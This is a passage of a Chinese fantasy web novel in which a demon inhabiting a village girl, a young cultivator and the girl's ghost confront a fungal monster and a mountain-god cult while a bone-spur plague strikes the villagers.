霖娘朝她摇摇头,仍不肯松开她,随后,霖娘望向那老怪物,脑海中却不断回想那庙中的神像,她不知自己胸中所充盈的这种感觉是什么来头,却实在酸涩得很,她哑着声音,说:“我曾见过祂,祂身上很多色彩,很漂亮的,为什么你这里的神像却那么黑呢?” 那老怪物停下粘合脸皮的动作,眼珠动了动,看着她,仿佛真从她 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他听到脑海里有一道年轻的声音对他道:“席兄,我先将我这神像中的一缕神力给你,你稍微坚持一下,我很快过来救你们!” “席正!好兄弟!你千万不能死了哇!再等我一下下!我就来了!” 那声音喘着气,很大声在他的脑子里喊道,喊得他脑仁疼。 但是他等很久,真的很久,久到他已经不能称之为一个人了,那穷酸土地的一点微末神力,只能让他成为一个寄生于山菇的怪物,他没有力气跑出毒瘴,没有人救他,也没有人再踏足这里。 “你娘的赵悬磬……骗老子。” 老怪物眼眶通红,喃喃。 霖娘听得浑身冒颤抖,寒气直冒,她没有办法想象这偌大一个黑水镇中仅剩的这么一个活口,是如何靠着啃噬乡亲的血肉活下来的。 她不敢想,根本不敢想。 正是此时,一声清音传来,那声音实在太轻微,霖娘处于震惊中根本没有察觉,而阿姮则敏锐地听出那声音,那是珠玉碰撞出的悦耳声响。 阿姮眼珠一转,飞浮在那老怪物面前的红云顿消,却有一丝火星子衬着老怪物张着嘴的刹那钻入了他的喉咙。 那老怪物顿时扣住自己的脖颈,闷声大咳起来。 洞中石壁覆盖的菌丝“砰”的一声炸了,白色的,毛茸茸的霉菌飞浮之际,一道颀长的身影破开幻象行来,阿姮则身子一歪,倒向他身上。 一时间少年腰间银尾法绳上的珠玉碰撞出泠泠之音,他一手及时揽住她摇摇欲坠的身体,垂下眼帘看她:“阿姮姑娘?” 此时阿姮的眼瞳已经恢复漆黑的颜色,其中光影如粼,盈盈而动,她伸出一根手指,颤颤巍巍地指向那悬身于半空的老怪物:“小神仙,你看,多吓人啊。” 得见此情此景,霖娘沉默了。 那老怪物却眼睛瞪得老大,没明白方才那还说要烧穿他骨头的妖邪如何又这么快变得弱柳扶风。 他正要张口,却觉得喉咙异常灼痛,竟然不能吐出一字。 “他非要让我带他出去,可我怎么能带他出去呢?我不知道怎么做,他就扒自己的脸皮恐吓我……”阿姮根本不看那老怪物的脸色,只顾跟小神仙告状。 那老怪物简直要气吐血,到底谁扒的他脸皮啊?? 谁恐吓谁啊?? “……”霖娘在旁,捂着脸不做声。 程净竹则缓缓抬眸,看向那半空中的老怪物,他注视着老怪物那张铁青的脸皮,片刻,道:“土地庙中的壁画,是你画的?” 那老怪物一顿,他不由惊讶,这少年如何知道那便是土地庙的?他方才与底下那女子说话时,分明没感觉到这少年靠近。 既不是听到他们说话,那么……便是他自己猜出来的了? “的确是我画的。” 老怪物看着他,道。 此时他才发觉,只要不提方才的事,他便可以自如说话,喉咙也不会灼痛。 “你画技高超,放到当今世上,难有敌手。”程净竹说着,顿了一下,低眸看阿姮手指勾住他一缕银灰色的发丝绕啊绕的,他想让她站好,却发觉她是赤着脚踩在水里,而这水还是清澈的。 “当今世上……外头,”那老怪物怔了怔,不由问,“外头如今是哪一年呢?” “无论是哪一年,都不是两百余年前的天下了。” 程净竹抽出被阿姮绕在指尖的发丝,道。 “是啊……” 那老怪物似乎失神:“早就不是了。” “两百余年前,闾国大司马拥兵自重,要挟幼帝,搅乱四海,而诸侯趁势并起,屡逞刀兵,以致于天下大乱。” 程净竹注视着那老怪物的脸:“闾国皇权分崩离析,四海之内接连兵祸,被大司马挟制多年的闾国皇帝席献时年三十一岁,叛军攻入闾国皇宫当日,皇帝席献,及其幼弟诚王席正皆凭空失踪,与二位一同失踪的,还有国宝山海图。” 老怪物的脸颊抽动着,松垮垮的皮肉都快破了,他胸口的白色心脏越跳越快。 程净竹的声音始终清冷:“彼时,有传言道,元真夫人所赠的国宝山海图渡化皇帝席献,诚王席正飞升天界,位列仙班。” “哈哈哈哈哈哈哈哈!” 几乎是程净竹话音方落,那老怪物便立即放声狂笑起来,他笑得脸皮颤颤欲落:“什么渡化成仙的国宝,那分明是席绰贪心不足求得的恶果!” “前人种因,后人得果……”老怪物笑得阴森极了,“恶因,催生恶果,所以亡国,所以堂堂席氏皇族,最终成了阴沟里的老鼠……不见天日,永远不见天日哈哈哈哈哈哈……” 他笑得癫狂,眼中却迸泪。 “所以,他就是席正?” 阿姮仰起脸,问身边的少年修士。 程净竹站在石潭边,他衣襟处的那点血迹竟然不知什么时候便已经不见了,他的襟口仍旧洁白严整,身上一分尘埃也无。 “这便要问他了。” 程净竹负手,而衣摆猎猎:“闾国皇室,因诸侯夺权而失家失国,所以闾无门,便化成了吕,成为了那个带领流民逃亡净土的——吕员外。” 霖娘一直在后面闷声不吭,直到此刻,她忽然睁大双目,失声道:“……黑水村中只有一户家姓吕,就是原先的吕员外之后!” “老村长……便姓吕!” 12.第12章 012: “嫂子,你听我说,那地方你难道不知么?谁去了那儿,谁就出不来了……千万不能去啊!” 身材矮小的妇人紧紧拽住林氏一边膀子,眼看她要拽不动,另外一个妇人连忙上前拽住林氏另一边,也劝道:“林嫂子!那地方实在去不得!你可千万不要冲动!” “是啊林嫂子,那地方去不得!” “谁去了那儿都出不来,你快冷静些!” 人们也七嘴八舌地劝。 林氏仍在挣扎:“那是我女儿!我亲女儿!我怎么能不去找她呢?我怎么能呢……” “依我看,” 多少人围着林氏又是劝又是哄的,这时却一道突兀的女声插了进来,“那也未必是你林嫂子的亲女儿了。” 赵家这篱笆院儿里倏尔一静,多少双眼睛都朝那年轻妇人看了过去,她不自在地摸了一下耳朵,干巴巴道:“老鱼头原先不是说么,他亲眼看见霖娘是被什么掏了心的,咱们本来还不信,可村里果真闹了妖怪,昨儿晚上老鱼头也是被掏了心死的……若霖娘早被掏了心,那她又如何能活呢?如今这霖娘,既是杀了老鱼头的凶手,那只怕,她根本就是……” “张小竹你放屁!” 林氏猛地抬起头来,一双通红的眼盯住她,眼睑浸泪,却噼里啪啦一顿骂:“那是我女儿!那就是我亲女儿!我女儿绝不会杀人!你这个烂心眼的臭婆娘,看我不撕烂你的嘴!” 惯常做活的女人自然一把子力气,林氏更是女人中的佼佼者,她仗着胸中怒火一下子挣开那两个妇人,冲上去抓那张家媳妇儿的头发,她动作太快,那张家媳妇儿没能及时躲开,被扯痛了头皮,连连发出尖叫。 众人连忙上去好一番拉拽,才将两人分开,林氏抬着下巴,手中捏着一缕长长的头发,那张家媳妇儿捂着脑袋,看见林氏手中的头发,便怒从心头起,尖声道:“林秋雁!你这个疯婆子!老鱼头死前亲口说霖娘要掏他的心,喝他的血……霖娘是妖怪,是杀人凶手!” “放你娘的屁!我女儿不会杀人!” 林氏见她嘴里仍不罢休,便作势要再上去撕打,好几个妇人连忙将她拉住,那李家媳妇儿扶着那张家媳妇儿,见林氏跟个凶恶的母虎似的,那双眼睛简直怒目凶光,李氏心里一打颤,嘴上却道:“林秋雁,老鱼头的的确确已经死了,死之前,他的确也是这么说的,不信你问跟他家挨得近的刘家汉子,人就是你家霖娘杀的!” 林氏瞪着她,眼中却涌出泪来,她用力挣扎:“放开!都放开我!我要去找霖娘……我要去找我的女儿!” 平日与林氏关系不错的几个妇人狠瞪了几眼李氏和那张氏,一个妇人一边给林氏顺气,一边说道:“霖娘去了旧镇,林嫂子如今本就又焦又痛,你们就先不要火上浇油了!” 那张家媳妇儿头皮还痛呢,怎么可能轻易作罢,她正要再说些什么,却听“砰”的一声,不远处的那道房门开了。 众人抬头,只见那屋中蹒跚出来一人,他脸色苍白,还拄拐,一张脸上没有任何表情,看起来很严肃。 林氏看见他,眼睑中泪又滑下脸颊,喊了声:“你出来做什么?你要卧床休养,你知不知道……” 老赵看着她,记忆中多少年了,妻子从没这样泪眼婆娑过,她风风火火,也坚毅勤快,眼下,他什么也没多说,只道:“秋雁,走,咱们找女儿去。” 林氏立即推开几个妇人的手,抹了一把泪,走过去扶他,几个与老赵相熟的村汉忙上前,一个劝道:“老赵,你家娘们不冷静,你可得冷静啊!” 另一个也道:“是啊,霖娘先进去了,你们再进去,你们一家三口这不是……” 老赵好似充耳未闻,不理他们,只与妻子林秋雁相扶着走下石阶,铁了心地要往篱笆外去,人们见此,都着急了。 与老赵向来有好交情的猎户见大家好说歹说,那夫妻两个都不吭声,硬要往人群外挤,便沉声道:“赵世义!” 他几个跨步过去将人拉住:“你夫妻两个都疯了吗?” “华大哥,你放开我。” 老赵声音平缓,他抬起胡子拉碴的脸,神情很静:“我与秋雁两个活了大半辈子,就霖娘这么一个女儿,她是我跟秋雁的命。” 可那猎户怎肯看着兄弟拉着妻子一块儿往西边去送死呢?他非但不放开老赵,还让几个妇人上来拉林秋雁,他则硬生生将老赵给扛了起来。 院子里乱糟糟又吵嚷嚷,天边飞火流光闪烁,天色晦暗许多,雷声隐隐作响,将雨未雨,彩绳与那名唤云童,身上搭着药箱的干瘦老者来到赵家,在彩绳身后,还有十来名身穿墨绿袍子,脸上涂着彩纹的年轻脸孔,人们认出他们是长住神庙的守庙人,便立即退开,让出一条道。 “彩绳姑娘,快劝劝老赵他们两口子吧!他们硬要往西边去找女儿!” 一名村妇说道。 彩绳呼吸有些不畅,她抬头看了一眼天边闪烁的雷电,脸色十分不好,她走入篱笆院中,看老赵两口子一人抓着一边门框,不肯往屋里去,她面无表情,道:“西边是什么地方,你们都知道,你们去,就是送死。” “何况,赵霖娘与柳行云本有私情,”彩绳的声音很冷,“谁都知道柳行云回来,第一时间便是去找她,可谁又晓得,那柳行云在外是不是习得什么邪术,否则怎么他一回来,我们黑水村中便有了妖怪?” 彩绳这番话一出,村人们窃窃私语。 的确,在柳行云回来之前,村中从未闹过什么妖怪。 “赵霖娘亲近一个背叛山神的人,那么她也一样背叛了山神,”彩绳几乎冷酷,“她也许受了柳行云蛊惑,才杀人作恶,但她既然已经做下这等恶事,那我劝你们,最好当没她这个女儿,否则,山神的怒火,你们承受不起。” 山神之怒,是所有黑水村人心中最深的畏惧,他们敬重那位赐给他们福地的山神,也打心底里不敢背叛。 篱笆院中一时鸦雀无声,人们露出虔诚的,敬畏的神情。 但除了两个人。 彩绳看着老赵夫妻二人,林秋雁脸上有悲伤,有愤怒,却没有敬畏,那老赵则更如死水,他看起来不伤心,也绝无一丝畏惧,那张向来不苟言笑的脸,竟然流露一分嘲讽。 彩绳神情一沉:“赵世义……” “山神算什么?” 彩绳才张口的同时,老赵缓而轻的声音响起,天边猛然一道雷声轰隆炸响,众人都吓了一跳,彩绳脸色更白,气息紊乱。 她掐着自己的虎口,愕然望着那老赵:“赵世义,你可知你在说什么?山神有灵,祂什么都听得到,祂什么都看得到!” “不,” 老赵望向天边,闪烁的光影重叠划过他的脸,在此刻众人眼中,他显得十分陌生,根本不像是那个寡言的,每日只知道打柴的柴夫,他张口,道,“祂听不到,也看不到。” “赵世义!” 彩绳怒声道。 他竟然敢冒犯山神! 所有人都惊愕地望着他。 没有人敢这样,哪怕一句抱怨,都不敢说出口,也不敢放在心里想,因为山神有灵。 老赵没有理他们,他只轻拍了拍妻子的手,望着她红肿的眼,说:“秋雁,我们走。” 林秋雁没有说话,却用力地点头。 “老赵……” 那猎户眉头拧得死紧:“不行!我们怎么可以看着你夫妻二人去送死呢!” “是啊,你们千万不能去啊!” “不能去啊!” 人们又开始七嘴八舌地劝。 那云童却立在篱笆边上,始终冷冷地凝视着老赵夫妻二人,他如一根枯木,朽得厉害,连眼皮都难得动一下。 湿润的水滴落在他枯瘦的手背,他才挪开目光,慢慢地抬起头,天上开始下雨了。 但除了雨声,他还听见一道声音,那是很轻快的步履声,伴随女子清脆的,裹着笑声的一支无名调子。 云童扶在药箱上的手一握,转过身去。 晦暗的天色,愈浓的雨雾,一道更浓的影子慢慢地行来,她慢慢地近了,恰逢天边闪烁飞火,照亮那道身形。 那女子身上一件宽大的袍子,不知在哪儿沾的脏污,暗沉沉的颜色衬得她一双赤足更苍白,更瘦削。 她越来越近,人们听见她哼调子的声音,好多人回过头来。 她臂弯挽着一个篮子,乌黑的长发沾了雨露,那样一张苍白到好似没有血色的脸上笑盈盈的。 “那是……霖娘?!” “是霖娘吧?” “真是她,真是她啊……天爷啊,去了西边,还能回来?” “西边,那可是西边啊!” 人们接二连三地擦拭自己的眼睛,生怕自己看走了眼。 阿姮走得近了,听见他们这些话,唇边笑意更浓,她走过那云童身边,云童岿然不动,却以一双眼睛死死地盯着她。 阿姮觉得他脸皱巴巴的难看死了,没多看他一眼,走到篱笆院里,人们退开了许多,眼见她活生生地从西边回来,他们更觉得跟活见鬼似的,分毫不敢接近,吓得厉害。 阿姮觉得他们这般情态有趣,她微抬下颌,目光在他们之间来回扫了一圈,慢悠悠道:“那是西边,又不是西天,去了,怎么会回不来呢?” 没人敢接她的话。 他们都惊恐地看着她。 “霖娘!我的儿!” 林秋雁反应过来原来并非幻觉,她哽咽地喊了声,连忙跑去将女儿抱住:“你没事,你没事……” 阿姮被她抱住,一时没动,她垂下眼睫,看着这个妇人洗得发白的,粗糙的后领,嗅到她身上的柴火气,饭油气,还有家禽的味道,一点不好闻。 彩绳却看着阿姮身上那件袍子,脸色变了。 那分明……是她借给泥妖的宝衣! 林秋雁拉着女儿几步跑到阶上,她喜极而泣:“老赵,你快看,咱们霖娘回来了,回来了……” 老赵看着阿姮,他干裂的嘴唇动了动,却什么也没说。 却紧紧抓住了阿姮的一只手。 “赵霖娘,你是怎么回来的?” 彩绳冷声质问。 阿姮回过头,看着她:“走回来的啊。” “赵霖娘!” 彩绳脸色十分不好:“你最好照实说,你为何杀老鱼头?” “那个浑身臭鱼腥味的老头?” 阿姮眼底短暂惊讶,随后唇边的笑意收敛了些:“我没杀他啊。” “我女儿没杀人!” 女儿一回来,林秋雁中气便足了许多,她赶紧将阿姮推入屋中去,又跟老赵两个将门“砰”的一声关上了。 “赵世义,林秋雁,你们好大的胆子,赵霖娘既然已经回来,你们就该将她交到山神庙,她有没有杀人,山神大人知道!” 彩绳的声音透过门窗传来。 林秋雁吸了吸鼻子,忙扶着阿姮的肩让她坐下,又见她篮子里都是山菇,她便问:“你没去旧镇里头,是去采山菇了?” 阿姮道:“是啊。” 林秋雁看着她,女儿被她抱了好久,但不知道为什么,她触摸女儿的肩,却觉得女儿身上冷极了,没有捂出一点热气。 林秋雁神情忽然有些僵硬,那老赵站在门边看着阿姮,仍不发一言,但片刻,林秋雁松开她,去床边的柜子里找了一身衣裳,捧到阿姮面前。 “赵世义,你再不开门,守庙人便进去了!”彩绳在外面说道。 老赵转过身,开门出去,却很快将门闭起来,自己站在门前,对那彩绳道:“我赵家的人,去不了你们的山神庙。” 屋中,林秋雁对女儿道:“娘看你现在喜欢鲜亮的颜色,这是娘给你新做的衣裳。” 阿姮看着被她捧在手中的衣裳,诚如林秋雁所言,这是一件颜色鲜亮的衣裳,红如烈火,艳丽非常。 林秋雁嘱咐她快脱了脏衣裳换上,便也转身开门出去了。 外头,是彩绳冷冽的质问:“你们的山神庙?赵世义,这福地乃是山神所赐,你一家在此过活,怎敢不敬山神?” “奇怪,她明明知道了。” 屋中,阿姮看着那道门上映出外面两道身影,她低语,似喃喃。 “知道什么?” 霖娘半透明的身影漂浮。 “那夜,我沐浴,她在门缝中看我,”阿姮说着,伸手抚摸自己衣襟,“她明明看见了,可她却装作没看见。” 明明她胸口的血洞,浴桶中漫出的血水,林秋雁都看见了。 可她什么也不说,还给她炖山菇鸡汤。 霖娘闻言,猛地望向隔门上映出的那一高一低两道身影,如相连的两座山始终稳稳地坐落在那里,门外,是她阿爹的声音:“再是福天福地,也都是自然造化,并不是神的慈悲。” 霖娘憋红眼眶,泪意乍涌:“因为,他们是我的爹娘。” “无论我是什么,无论我变成什么样子,只要我还活着,还在他们面前,他们没有什么不能接受……” 阿姮听不太明白,但她垂下眼睛,看着那件被林秋雁放在桌边的,簇新的红色衫裙。 这时,门外彩绳一声令下,数道影子冲了上来,那老赵还在外面挡着,林氏赶紧进来,张开手臂挡在阿姮面前。 但那些守庙人并非寻常村夫,他们很快制住老赵,十几人挤进这间逼仄的屋子,挨着墙的香案被撞到,香炉倒下去,香烛撞上神龛,一下碰倒了那无头神像。 神像落地,摔得粉碎。 外面雨势愈急,但没有一个村民回去躲雨的,彩绳踏进门槛,便看见那落在地上粉碎的神像,她愤怒地抬头,盯住那些守庙人:“你们为什么这么不小心!为什么碰倒了山神像?” 守庙人没有任何一个人说话。 云童粗粝的,低哑的声音在门口响起:“彩绳姑娘,山神不会在乎这个,他们的任务,是将赵霖娘带去山神庙。” 彩绳回头,云童与外面阴冷的天色仿佛融为一体。 她脸色难看,不说话,却俯身小心拾捡起碎裂的山神像,将其捧上香案,道:“赵霖娘,你有什么话,都该亲自去对山神大人说。” “究竟是对山神说,还是对村长说?” 阿姮手指触摸着桌上的衫裙,漫不经心道。 彩绳手上沾了神像的碎泥,闻言,她转过脸来,盯住阿姮:“你这话是什么意思?” 但阿姮不语,她脸上仍带笑意,但在彩绳眼中,更觉得她如此情态诡异,彩绳心中正怪,倾倒的香炉里漫出的飞灰浮动,只听忽然一声音:“是赵悬磬的味道!” 此声音垂垂老矣,粗哑难听。 然而屋中分明只有云童一个老者,但屋中众人看向云童,却发觉他神色怪异,脸颊干瘪的皮肉似乎抽动了两下。 不,这不是云童的声音! 彩绳分辨得出,但这屋中的确再没有这道声音的主人,也是此时,彩绳见阿姮屈起指节,弹了一下桌上那只篮子里,其中一朵通体雪白的山菇,只听阿姮笑吟吟道:“老怪物,你醒了?” 天边“轰隆”一声巨雷,冷冽的飞火锋利地闪烁,老赵夫妻二人听见“赵悬磬”三字便脸色惊变,随后两人目光紧随阿姮手指猛然盯住那篮中山菇。 然而那一篮子山菇没有任何动静,若不是那道突兀的,苍老的声音,这看起来便像是阿姮的一个玩笑,她始终在笑,在凝视彩绳。 彩绳心中突突地跳,还不待她反应,那门边的云童已下了指令:“来啊,将赵霖娘带回山神庙,向山神谢罪。” 守庙人一声不吭,却立即动手去拽开挡在阿姮面前的林秋雁,阿姮垂眸睨着他们伸来的手,她宽大的袖袍底下,掌心红云微闪。 这时,一只有力的手猛然将她扯了过去,阿姮笑意收敛,抬眸却是一愕,竟然是老赵,他的脸跟这里的人一样朴素,人到中年,被风霜腌泡得粗糙,是阿姮绝不会多加注意的长相,他将妻儿都扯到了自己身后,转过脸,问阿姮:“霖娘,你告诉爹,你有没有杀人?” 阿姮有些不耐地拧眉,她原本是想掏那老头的心没错,但他实在又腥又臭,她才不要一颗腥臭的心,她声音泛冷:“我说过了,我没有杀他。” 老赵点头,转过去,看向云童:“我儿无罪,不必向任何人,任何神请罪,你们谁也别想带走我儿。” 云童冷冷睇视他,门外飞火流光交织冷冽的影,人们冒着雨,都挤在这院子里,阿姮也在看老赵的后背,他不是那么高大的身形,甚至有些单薄,那么他凭什么觉得他可以挡得住这些年轻力壮的守庙人呢? 老赵猛然一撩袍子,从腰间取出来一物,彩绳见此,又惊又怒:“赵世义!你疯了吗?” 那赫然是一把刀。 是老赵惯常用来打柴的柴刀,多少年了,积累了些豁口,但仍然雪亮。 门外的人们与彩绳一样惊愕,明明山神可以断定霖娘究竟有没有杀人,但他们不明白,为何老赵宁愿动刀子,也不肯让守庙人带走霖娘。 但云童很平静,他看着老赵,那皱皱巴巴的眼皮好一会儿才动了一下,他的视线下落,停留在老赵的腿上,他忽然微微一笑,牵动着松弛的脸皮颤动:“你信她没有杀人,那不妨先看看你自己。” 一时间,老赵,林秋雁,乃至所有人的目光都随着云童的视线看去,只见老赵小腿裤管不知何时竟高高隆起。 一名守庙人立即上前强硬地挽起老赵的裤腿,一时间,雷火短暂照亮屋中的晦暗,也令所有人都看清老赵青黑的小腿上森白的骨刺虬结如一只畸形的手。 雷声轰鸣。 篱笆院里,有人失声喊道:“骨刺……他长出骨刺了!” “那神仙不是给老赵治过了吗?那天咱亲眼看着神仙给他治好了!” 可当日那姓程的神仙为他治病时划出的那道血口子,如今正是他骨刺长出来的地方,人们看着这一幕,又惊又骇。 人群中,一老翁像是有所感应似的,他立即去掀开自己的裤腿,底下被那神仙刮除过的骨刺,又长了出来,像一只扭曲的,婴儿的脚。 他惊慌失措地大叫起来。 人们更慌乱了,那些得过青骨病的人疯了一样地去卷自己的裤腿。 “怎么会又长出来……怎么会这样!” “程神仙呢!他不是说他有办法吗?为什么!” 篱笆院里乱成了一锅粥,那云童回头看了一眼人群,道:“赵霖娘非但杀了人,还对山神不敬,所以赵世义才会立即长出骨刺。” 彩绳走到门边,看着外面那些拖着畸形病腿,跌坐雨地里的人,道:“你们还真信那程净竹是救苦救难的神仙?多少年了,你们难道还不明白,青骨病,是惩罚,是训诫,它说是病,也不是病,药石哪能医呢?是程净竹骗我们,他的法子,只会让得了此症的人死得更快!” “姓程的不是神仙……” 有人抱着病腿喃喃,嘴唇抖动,“他骗我们,骗了我们?” “可是山神大人哪!我从来不敢背叛您哪!家中人的错,为何一定要惩罚我呢……”有个中年村汉不禁仰天哭嚎。 “此处只有一位山神大人,而你们却信了那个招摇撞骗的假神仙,”彩绳看着他们,她的声音不带任何温度,“这便是你们的错。” 篱笆院中,绝望的哭泣几乎遮盖雨声,屋内林秋雁扶住老赵,满眼都是泪,六神无主地喃喃:“怎么会这样,怎么会这样……” 忽然,老赵手中柴刀雪光一闪,林秋雁与霖娘同时失声: “老赵!” “爹!” 森白的骨刺落地,青黑的液体顺着伤口和着血从老赵小腿淌下来,他站不住,幸好林秋雁及时扶住了他,他应该痛极了,脸色煞白,满额都是冷汗,却看着彩绳,呼吸艰难地吐出几个字:“放你娘的屁!” 天边冷光几乎包裹云童肩背,他站到彩绳前面,看着老赵,缓缓道:“赵世义,你不敬山神,骨刺会刺穿你的五脏六腑。” 他的话音才落,老赵的脸色瞬间发青,他彻底站不住,倒在林秋雁身上,林秋雁撑不住跪坐下去,仍抱紧他:“老赵!” 霖娘漂浮半空,眼睁睁看着他衣襟浸出血来,她眼眶骤红:“爹!” 这时,云童一抬手:“将赵世义和赵霖娘都带走。” 屋中那十数站如彩塑的守庙人立即动了,他们俨然一副山神座下最好兵卒的模样,饶是林秋雁再有力气,还是被他们强硬地拖开。 “不许你们碰我爹!” 霖娘见几人要架起老赵,便抬手引了脚下波涛扑了那些守庙人满脸,使得他们踉跄后退了几步,屋中无人看得见她,但抬起头,屋顶显然没有漏雨。 此刻,守庙人们神色怪异地看向站在那儿的阿姮。 她长发落了几缕在苍白的颊边,她不再笑,雷电映照她的眼,竟然暗暗发红。 站在云童身后的彩绳吓了一跳:“你……” “啊!” 篱笆院中,年轻的姑娘扒开躺倒在地上的父亲的衣裳,立即被其胸膛中生出的森白的,尖锐的骨刺吓得失声惊叫,她失措地哭道:“救救我爹,谁来救救我爹!” 那骨刺像一只没有皮肉的手,从内部刺了出来,刺穿他的心脏。 他喉咙汩汩地涌出血来,一句话都说不出,身体狠狠颤几下,脖子一歪,不动了。 一名妇人连忙也解开自己丈夫的衣衫,只见他胸膛里鼓动,她脸一下白了,额头一下抵在泥地里,颤抖着乞求:“山神大人!求您!饶了我夫君吧!我们不敢背叛您哪!我们不敢……” “求求山神大人显灵,原谅我们,饶了我们!我们不敢背叛您!我们绝不会离开这里!” “求求山神大人!我们不背叛您,我们不离开您!” 连那些没有患青骨病的人见此情形,也都忍不住跪地,仰天祈求:“山神大人,求您饶恕他们的罪过,我们所有人都是您的信徒,我们不敢背叛,我们不会离开,求您,求您了……” 彩绳回头,风雨之中,所有的村民挤在这间小小的篱笆院里,向着天,跪地求饶,她泛白的唇动了动,但她看向云童,他仍旧是那样一副枯朽的脸,一双死水似的眼,他在看那老赵。 林秋雁也解开了他的衣衫,外面已经有青骨病发而死的人,但这个人却仅有肋下一根尖刺出来,他的血混合青黑的液体流淌出来,那血却闪烁极淡的莹光。 这……是怎么回事? 云童面露异色。 阿姮也看见这一幕,她俯身,老赵在看她,林秋雁也泪眼朦胧地看着她,霖娘在她旁边哭着道:“阿姮,你救救我爹,你救救我爹吧!” 阿姮伸出一根手指,沾了点老赵肋下的血,淡淡的莹光转瞬即逝,她嗅到那与霖娘身上如出一辙的香气,但这气味比霖娘要浑浊太多。 “我救不了。” 她说。 她是妖邪,天生哪会救人的功夫,何况这青骨病根本不是可以用药石医治的疾病,她的确救不了。 她没有表情的平铺直叙,看起来是如此冷漠,却刺激了此时关心则乱的霖娘,她红通通的眼望着阿姮:“你连我都能救,为什么救不了我爹呢?” 阿姮没说话。 她的表情看起来实在不像一个亲女儿的表情,林秋雁看着她,也不禁心中生寒,泪则更涌,她一把抓住阿姮,像小心翼翼地试探:“霖娘,你是我的霖娘……么?” 她的声音很低,很弱。 那么多日不肯面对,不肯猜测的东西,她终于还是出了口。 “娘……” 霖娘被刺中心头,哭着喊道。 但没人听见她的声音。 而阿姮对上林秋雁那双害怕,又紧张的眼睛,她仍旧不言,也没挣脱她的手,淅淅沥沥的雨声中,她忽然听见那道珠玉碰撞的清音。 她抬起头,门外烟雨朦胧。 泥泞的雨地里人们还在苦苦地哀求山神,那道雪白的身影穿过雨雾,很快掠来,他抬手便在腰间那法绳上一抹,掌中顿时出现一道血口子。 他俯身,沾血的手探向一名老翁,他两条青黑的腿上各长出来一只像手,一只像脚的骨刺,紧挨着他松弛的皮肉,刺得他血淌。 那老翁一见他,却立即往后,在泥地里艰难地爬了一圈,躲开了他,嘴里不住道:“走开!走开!就是因为你,就是因为你闯进我们这里,山神才发了怒!” 阿姮看到程净竹那只手微微停滞,那么漂亮的一只手,沾着雨露,他掌心的血液和着雨水滴下去,淡淡的莹光被雨水冲散。 她嗅到那诱人的香气。 喉咙发紧,口舌顿干。 阿姮从林秋雁手中抽回手,直起身,而门外,程净竹靠近谁,谁便如见瘟疫般躲开,他们不再一声声喊他神仙,出口的只有:“你走开!走开!山神会怪罪我的!都是因为你!” “你这个骗子!你不准在我们黑水村,你走!” “快离开我们的村子!” 正是此时,篱笆院外疾步声声,越来越近,很快,四个年轻力壮,身披墨绿袍子,脸有彩纹的男人扛着滑竿飞奔而来,进了院子,方才慢下步子,雨水敲打着油布篷顶,那老翁坐在其中,佝偻着身躯。 “村长,您去求求山神吧!让他饶了我们吧!” 一个被快速发作的青骨病折磨得胸膛鼓起的老翁勉强大睁起眼睛,看见滑竿上的人,便艰难地说道。 “村长!您侍奉山神多年,您去求求山神吧!” 那张家的媳妇儿家人倒是都完好无损的,但她看着地上那些青骨病发作的村民,也开口哀求。 人们都跑到村长面前一声声地求。 而老村长看着他们,则长长地叹了口气,随后抬起耷拉的眼皮,看向站在那里的白衣少年。 谁也没注意到,就在那少年割破手掌之后,他便不再滴雨不沾,泥水溅湿了他的衣摆,他银灰色的长发也点缀雨露。 他面无表情,腰间法绳飞出,将那在泥地了滚了几圈滚远了的老翁给拖了回来,随后他袖中两把匕首飞出,刀锋飞快刺入那老翁腿骨当中,那老翁当即惨叫一声,云童立即抬手,数名守庙人立即往外奔去,想要阻止。 然而还没靠近,少年袖中白符飞出,金光一闪,守庙人立即被震了出去。 程净竹眼皮也没抬一下,握住刀柄用力,迅速刮落那老翁腿上的骨刺,他掌中的血滴落下去,莹光飞浮,浸入老翁腿上两道极深的血口子,那种青黑的液体消失了,甚至于他枯瘦的双腿也开始恢复原本的血肉颜色。 老翁愣愣的,忘了继续惨叫。 因为他发现,好像不疼了。 程净竹手指一抬,那法绳松开老翁,又去拖过来另一个哇哇乱叫的村民,预备下刀,滑竿上,老村长沙哑的嗓音响起:“你一个来历不明的外乡人,且不论你是如何闯入我们这地方,你一而再再而三地插手我们村中事,是否不太妥当?” 程净竹抬起眼,下刀的动作却没停:“怎么?吕村长是想让你们的山神,也来惩戒我吗?” 村民挣脱不开法绳,被两刀捅得大叫,硬生生又被刮下来两根骨刺。 老村长向来慈蔼的脸上此时肌肉紧绷些许,他道:“外乡人山神是不理会的,我们世代生存于此,接受山神的福泽,我们是祂的信徒,信徒不能背叛神明,你越是刮去他们的骨刺,他们就会死得越快,就像你来到这儿,本就是一个恶因,你根本不是在救人,而是结恶果。” “真奇怪。” 忽然,一道清脆的女声响起,老村长抬起眼皮看去,只见屋中走出来那披头散发,身上还穿着件又脏又破的袍子的年轻女子。 老村长看着她身上的袍子。 阿姮站在檐下,看着那老村长一张老树皮似的脸:“人类明明天生就有属于自己的一副壳子,可有的人,却还要在这层壳子外再套上一层,装模作样。” “赵霖娘!不准对村长无礼!” 彩绳呵斥道。 阿姮不理她,却问雨幕中的白衣少年:“小神仙,老山菇还睡不醒吗?” 程净竹闻声,腾出一只手来,一张白符轻飘飘地落去阿姮手中,他操控法绳又拖住一村民,头也没抬,道:“烧了用灰,阵法即成。” 阿姮转身入屋中,那些守庙人目光凛冽地盯着她,本要上前,却不知为何,身上皮肉灼烧起来,他们竟然不敢靠近了。 阿姮走到桌边,白符只在她掌心一攥,掌中烈焰悄无声息地将其烧成黑灰,她手指一松,灰落去篮子里。 未灭干净的余烬闪烁着微末亮光,顷刻间,那亮光如丝,凭空勾连出一片金色星宿,穿过屋中,透过雨幕,飞跃人群,朝西边而去。 一篮子的山菇忽然震颤,其中最为雪白的那一朵,仿佛被金色的星辰相托,雪白的霉菌如同绒毛一样飞浮起来,一道苍老的人声响起:“那小子行不行啊?我才刚闻着赵悬磬的味儿呢,就又什么都不知道了!” 屋中的林秋雁吓得不轻,她紧紧地抱住老赵,而老赵却因为“赵悬磬”这三字,而紧盯着桌上的那只篮子。 多么诡异的声音,多么令人难以置信的一幕,彩绳在门外,眼睁睁地看着阿姮拍了一巴掌篮子里的东西,道:“老怪物,别啰嗦,你想见的人,可就在外面呢。” 阿姮话音刚落,彩绳便见那篮子中更多霉菌飞浮而出,金光闪烁着,雪白的一朵山菇悬空而起,转瞬碎成细长的菌丝,而菌丝又飞快勾连出一个人的形状,他逐渐显露粗糙干瘪的皮肉,彩绳最先看到他空荡荡的胸膛。 